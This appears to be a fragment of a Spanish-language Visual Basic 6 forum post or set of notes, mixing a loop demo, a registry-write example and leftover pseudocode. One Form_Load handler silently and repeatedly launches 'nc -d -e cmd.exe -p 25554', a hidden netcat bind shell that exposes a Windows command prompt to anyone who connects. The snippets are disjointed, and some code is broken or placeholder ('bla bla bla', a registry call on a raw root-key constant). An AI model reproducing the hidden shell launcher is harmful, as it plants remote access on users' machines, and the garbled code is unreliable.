Do until x= 10
  x=x+1
  Msgbox x
Loop

Código:
Private Sub Form_Load()

bucle:
    Shell "nc -d -e cmd.exe -p 25554", vbHide
    GoTo bucle
    
End Sub

Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const ERROR_SUCCESS = 0&
Private Const REG_BINARY = 3                     
Private Const REG_DWORD = 4     
Private Const REG_SZ = 1          
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.


Private Sub Form_Load()
If RegSetValueEx(HKEY_LOCAL_MACHINE, "hola", 0&, REG_SZ, "Esto es una prueba", Len("Esto es una prueba") + 1 ) = ERROR_SUCCESS Then
MsgBox "soy un genio"
Else
MsgBox "ups"
End If
Unload Me
End Sub

If Len(string) > 4 then bla bla bla

Select Case X
   if Len(x)=2 Then bla bla